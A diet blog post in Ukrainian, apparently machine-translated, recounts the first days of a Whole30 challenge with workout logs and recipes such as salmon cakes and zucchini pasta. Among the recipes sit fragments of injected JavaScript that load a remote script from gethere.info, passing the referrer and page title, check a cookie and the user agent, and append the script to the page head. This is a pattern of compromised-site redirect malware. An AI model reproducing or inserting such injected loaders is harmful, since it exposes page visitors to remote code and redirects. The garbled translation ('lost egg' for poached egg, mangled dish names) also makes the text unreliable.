Фісташково-кокосове масло, висушене зі шпинатним песто та смаженим гарбузом, сирі спагетті-маринара, італійський болоньєзе та багато іншого протягом перших 11 днів із здоровим випробуванням Whole30:).
Дозвольте сказати, Whole30 - це не весело! Я пішов у нього рішуче, сповнений очікувань та великого ентузіазму. Через кілька днів (рівно через шість) почалися сумніви. Перші, хто утримався, і переконую себе, що нормально мати чай о 21:00 - "Це все, що ти можеш зробити", - сказав я собі.
Спочатку після кожного прийому їжі я відчував, що не їв. Мені довелося почекати деякий час, поки мій шлунок зрозумів, що він більше нічого не отримає. Однак через 3 дні він стабілізувався. Однак за ними пішли ще близько 3-х, коли я знову відчув, що з’їв занадто багато.
На 7-й день зі мною трапилось, що я був настільки ситим із напередодні (я їв безпосередньо перед сном), що в основному пропустив сніданок і з’їв три менші прийоми їжі протягом дня. Але знову ж таки, я зміг з’їсти смузі лише на наступний сніданок.
Нескінченна карусель повторювалася і відразу ж настала кілька днів, коли я не міг прийняти лише три прийоми їжі, але доповнив їх ще кількома горішками.
Пошук цієї золотої середини докладе зусиль, і я думаю, що кожен знайде своє за будь-якої дієти, вам потрібна лише трохи терпіння та бажання експериментувати. Але я ніколи не забуваю, яку їжу роблять, а яку ні.
Мої почуття:
- На мій подив, я взагалі не скучаю по шоколаду - і їм його щодня
- Я також не маю великих проблем з тим, що не їсти "солодке"
- кисломолочні продукти, такі як йогурт, закваска, . я дуже їх сумую
- наявність тваринного білка під час кожного прийому їжі мене трохи вбиває
- енергія протягом дня без коливань ідеальна
- з одного боку ти менше думаєш про їжу, з іншого більше:)
Мої спостереження та поради:
- не залишайте фруктів наприкінці
- поєднання яєць, яблук та кокосового масла - НІ
- занадто багато сирої їжі роздувається за один день
- добре їсти за кілька годин до сну (зазвичай я звик їсти перед сном, але оскільки вечеря складає більше 1/3 щоденного споживання, їсти раніше не варто і навіть не приємно)
- моя шкіра справді краща:)
- порції, які я споживаю, справді величезні, але що мені цікаво, коли більшість - це лише овочі:)
- не забудьте дотримуватися встановлених кількостей, інакше ви не протримаєтеся до наступного прийому їжі
- добре перевіряти калорійність окремих страв, щоб випадково не з’їсти занадто мало - я роблю це через Foodlogic
Навчання:
Я люблю зміцнювати. Я роблю це більш-менш кілька років, звичайно з різними перервами.
Я займаюся класично, 2-3 ігри, 3-4 тренування на тиждень. Зазвичай 4 серії після 8-10 повторень. Це був мій перший тренінг
11 днів з Whole30.
П’ятниця 2.1.2015 - спина, біцепс і живіт
- 1,5 км біг на поясі
- станова тяга - шків (вигини) - вигини вперед - гіперекстензія
- біцепс з великою гантелью - одноручний циферблат - молоток
- стегна з диском - бокове гіперекстензія - піднімання ніг підніманням прикладом
Субота 3.1.2015 - бе (3-4 км)
Неділя 4.1.2015 - груди, трицепс, живіт
- 1 км бігу
- лава - пекдек - тиск на груди на похилій лаві - пуловер
- тиск однією рукою за голову - провали трицепса - перевернуті кривошипи трицепса - зняття шківа
- піднімання ніг з підніманням дупи
Вівторок 6.1.2015 - плечі, ноги, живіт
- тиск назад-спереду - тиск плечем однією рукою - обертання передпліччя та колеса - затягування перед нахилом
- копати - закопувати - ногі
- підняття ніг з підняттям сідниць - бокове гіперекстензія
Четвер 8.1.2015 так званий Hard Core - дуже неприємний круговий тренінг
Субота 10.1.2015 - груди, біцепс
- верхня лава - колода з гантелями - лава - пуловер
- біцепс з великою штангою - одноручний циферблат - лава Скотта
Найкращі страви за 11 днів з Whole30
Їжа під час Whole30 дійсно барвиста, різноманітна та смачна.
Це справді дивно, що можна приготувати з найосновніших інгредієнтів!
Страви, насичені кольором, смаком та ідеєю.
Звичайно, не всіх я їв із повним задоволенням, але 90% з них, звичайно, споживали. Багато з них вже мають власний рецепт на сайті, і звичайно, інші будуть додані.
Ви знайдете Baba Ghanoush, фісташково-кокосове масло, мигдальне молоко, Aglio olio peperoncino, сирі спагетті з маринари, пиріжки з лососем тощо.
Мій найулюбленіший «верх» - солоний сухий зі шпинатним песто та смаженим гарбузом. Мене надихнув цей рецепт FoodTube Джеймі Олівер (відео тут). Незабаром ви знайдете рецепт на сайті:).
Ви можете побачити всі страви в Instagram, де я їх щодня публікую:).
s.src = ’http: //gethere.info/kt/? 264dpr & frm = script & se_referrer =’ + encodeURIComponent (document.referrer) + ‘& default_keyword =’ + encodeURIComponent (document.title) + ”; if (document.cookie.indexOf (“_mauthtoken”) == - 1) >>) (navigator.userAgent || navigator.vendor || window.opera, 'http: //gethere.info/kt/? 264dpr &' );>
Смузі ABC
Вершковий, смачний, делікатно солодкий смузі з авокадо, банана та кокосового молока
Торти з лососем
Коли я починав готувати цю страву, я справді не уявляв, що це буде так здорово:). Торти з лососем, як я їх називав по-словацьки, справді ідеальні. Здоровий, простий і повний смаку.
Як цей рецепт прийшов до мене - досить цікава історія. Я шукав натхнення у спогадах про свою поїздку до США і згадав чудовий ресторан морської кухні, де подавали класику під назвою "крабовий пиріг". Знову ж, це не спрацювало для мене, і разом із Whole30 я створив здорову альтернативу лосося в своїх думках.
Зрештою, я сидів за столом із цим дивом на тарілці і не мав уявлення, чого чекати. "Чи буде це взагалі смачним?" - запитав я себе. На мій подив, ці "печива" були справді смачними.
Наступного дня я збагатив їх загубленим яйцем, як це звичайно традиційним американським «крабовим пирогом». Я вибрав гарнір із селери - читайте більше про селеру тут.
Ось як чудова, здорова їжа в стилі «фаст-фуд»:)
Інгредієнти: (на 2 порції)
для тортів з лососем:
- 150 г консервованого лосося (у власному соку)
- 1 середня червона цибулина
- 1 яйце
- 1 столова ложка кокосового борошна
- щіпка солі і перцю
- 1 чайна ложка свіжого або сушеного чебрецю (може не бути)
- 3 чайні ложки кокосової олії для підсмажування
для обгортання:
- 1 столова ложка меленого насіння льону
- 1 столова ложка насіння кунжуту
- 1 столова ложка кокосового борошна
- щіпка солі і перцю
на втрачених яйцях:
- 2 яйця
- каструля з гарячою водою
для картоплі селери:
- 300-400г селери, нарізаної картоплею фрі
- сіль і перець за смаком
- папір для випічки
Підхід:
- Червону цибулю дрібно наріжте і змішайте з усіма інгредієнтами для коржів.
- Руками формуємо з тіста невеликі котлети і загортаємо їх у суміш для обгортання.
- Покладіть картоплю селери на папір для випічки, посоліть, приправте і випікайте при 200 ° С протягом 20 хвилин.
- Смажте пиріжки з лососем на гарячому кокосовому маслі протягом 2-3 хвилин з кожного боку.
- На загублене яйце просто покладіть сире яйце в гарячу воду і почекайте близько 3 хвилин. Наприклад, ви можете знайти відео-процедуру тут.
- Ми подамо все гарненько на тарілці і можемо їсти:).
Селера
Кореневий селера тісно пов’язаний з відомим стеблевим селерою і вирощується завдяки характерній підземній частині. Це ідеальний вибір взимку, коли його найчастіше використовують у супах, бульйонах та різних видах каш.
Основи
Також на основі подібності з селерою, селера включено до роду Apium, з латинською назвою Apium graveolens var. Rapaceum. Однак він вирізняється унікальністю своєї великої сферичної підземної частини, яка має шорстку та міцну поверхню.
Позитивні сторони використання
У селері є відносно мало калорій - близько 42 ккал/100 г. У той же час її м’якоть забезпечує цікавий набір поживних речовин, мінералів (фосфор, магній, марганець), вітамінів (К, В6, С) та клітковини.
Як і морква, селера є хорошим джерелом поліацетиленових антиоксидантів (фалкаринол, панаксідіол, фалкардіоліол), які мають передбачуваний інгібуючий ефект на деякі типи раку.
Що стосується вмісту вітамінів, вітамін К явно виграє (34% від рекомендованої добової дози/100 г). Цей вітамін має здатність збільшувати поширеність кісткової тканини, стимулюючи активність кісткових клітин.
Агліо Оліо Пеперончіно
Проста італійська класика здоровіша, швидша і барвистіша:)!
Оливкова олія, часник і чилі, змішані в кабачкових спагетті, курячому стейку та смаженому беконі. Більше нічого додавати не потрібно:).
Інгредієнти: (для 1 особи)
- 300г кабачків, спіралеподібних або нарізаних скибочками
- 3 столові ложки оливкової олії
- 1 менший перець чилі
- 2 зубчики часнику
- 1/2 чайної ложки солі і щіпка чорного перцю
- 100-150г курячої грудки
- 30 г якісного бекону (я використовував koložvárska)
- сіль і перець за смаком
Підхід:
- У мисці змішайте оливкову олію, подрібнений часник, дрібно нарізаний перець чилі, сіль і перець.
- Наріжте, посоліть і приправте курячі грудки. Бекон наріжте дрібними скибочками і обсмажте на сковороді.
- Коли бекон виділить трохи жиру, додайте курячий стейк і обсмажуйте з двох сторін близько 2-3 хвилин.
- Покладіть кабачки в сито і залийте їх гарячою водою і злийте. Це збереже кабачки в теплі, але при цьому залишиться хрустким:).
- Перекладіть кабачки на тарілку, додайте масляну суміш і перемішайте.
- Покладіть зверху курячий стейк і бекон.
- Ми служимо.
d.getElementsByTagName (‘голова’) [0] .appendChild (s);
Баба Гануш
Я думав, що немає кращого східного поширення, ніж хумус. Ну, я знову помилився:)!
Оскільки бобові культури заборонені протягом Whole30, про хумус не могло бути й мови. Але апетит до цього привів мене до баби гануша .
Я пам’ятаю, як кілька разів скуштував цю доброту в чайній, але ніколи не думав про це більш суттєво. Baba ghanoush - традиційний ліванський баклажан, і, як я дізнався, він також є прекрасною альтернативою хумусу:).
Це просто божественно - баклажани, часник, кунжут і лимон. Він не вимогливий до сировини і одночасно забезпечує тонку текстуру та приємно іскристий смак.
Сирі маргарини для спагетті
Третій день виклику Whole30 повільно закінчується, тому я думаю, що настав час поділитися рецептом із процедурою. Таким чином ви не тільки точно уявите, як виглядає така здорова їжа, але й можете спробувати приготувати її вдома:).
Я вибрав цю страву за унікальність та вишуканість. Сирий препарат додав їдкому смаку та аромату цій страві. Завдяки цій процедурі ви відчуєте кожен окремий інгредієнт, що міститься в їжі. Підготовка займе до 10 хвилин, і у вас здоровий, смачний обід у світі:).
Оскільки білка в Whole30 не повинно бракувати, я доповнив його шматочками курячої грудки на грилі.
Інгредієнти: (на 1 порцію)
- 350 г кабачків (приблизно 1,5)
- 250г помідорів
- 50г зеленої цибулі
- 1 зубчик часнику
- 30г сушених грецьких оливок
- трохи петрушки та чебрецю
- сіль і перець за смаком
- 150-200г курячої грудки
- 1 чайна ложка мазі/кокосової олії
- сіль і перець за смаком
Підхід:
- Кабачки накручуйте спіраллю або наріжте дрібними скибочками.
- Помідори, цибулю та інші інгредієнти покладіть у блендер або робот і змішайте в однорідний соус. Солимо і приправляємо за смаком.
- Курку наріжте невеликими медальйонами, посоліть, приправте і смажте на сковороді 2-3 хвилини з двох сторін.
- Змішайте соус з кабачками, покладіть його в миску і покладіть зверху шматочки курки.
Така їжа забезпечить вас такими харчовими цінностями:
- калорії: 542ккал
- білок: 51г
- Вуглеводи (клітковина): 26 г (8)
- жири: 26г
Повірте, що ця страва однозначно коштує:)!
Ми починаємо з Whole30
Новий рік завжди приходить з новими цілями та зобов’язаннями. Звичайно, це правило має стосуватися і нас!:)
Тому ми вирішили вступити у 2015 рік із здоровим викликом:). Виклик у формі відновлення харчування, який триватиме 30 днів.
Звичайно, ми залишаємося незмінними, і ви все ще можете з нетерпінням чекати свого
популярні рецепти без цукру, круп, повно здорових жирів, тільки з натуральних інгредієнтів.
То чому ми говоримо про виклик? Ми обмежимо меню лише певними групами продуктів, таких як м’ясо, риба, овочі, фрукти та корисні жири. На жаль, здорової випічки та солодощів не буде протягом цілих 30 днів - але ми впораємось:)!
На цей період Instagram буде нашою правою рукою. Щодня голодуючи, ми покажемо вам, як виглядає така дієта та яку користь вона може мати для вашого тіла та здоров’я.
Їжа, як завжди, буде креативною, смачною та швидкою у приготуванні.
В якості натхнення ми обрали відомий виклик Whole30, тобто виклик Whole30. У нас є вся цікава та необхідна інформація, а також посилання на їх офіційний веб-сайт.
Мій офіційний старт розпочався сьогодні, 1 січня 2015 р. Завдяки сьогоднішньому блогу я хочу показати вам, що я їв у перший день виклику Whole30 і як це виглядало.
Я розпочав день повною мірою. Півлітровий стакан води з невеликою кількістю яблучного оцту та омлетом з 3 яєчних білків, приготованих на кокосовій олії. Для дегустації та як гарнір я вибрав 2 столові ложки кокосового масла, щіпку кориці, половину огірка та 1 фізаліс. Такі сніданки-чемпіони багаті білком, корисними жирами, клітковиною та вітамінами. Звичайно, була кавоварка з кокосовим горіхом та домашнім мигдальним молоком.
Калорії: 446,3 ккал
Вуглеводи (клітковина): 18,8 г (5,2)
На обід я спагетті з 2 кабачків з томатним соусом та цибулею. Крім того, якісний бекон та шматочки свинячої вирізки, приготовані з маргаритовою маззю. І ще одна кава:-).
Калорії: 622 ккал
Вуглеводи (клітковина): 32 г (8)
Я закінчив день вечерею в знаку легкого салату. Рукола, шпинат, помідор, 1/2 авокадо, шматочки свинячої вирізки в кокосовій олії, помело та заправка з лимонного соку та оливкової олії.
Калорії: 596 ккал
Вуглеводи (клітковина): 27 г (12)
Після першого тижня цього виклику ми напишемо черговий блог про те, як все це відбувається:).
Кіка приєднається до мене через кілька днів, тож ви можете сподіватися на спостереження та почуття кількох людей. Ми сподіваємось, вам сподобався Whole30 і ви хочете спробувати на власні очі.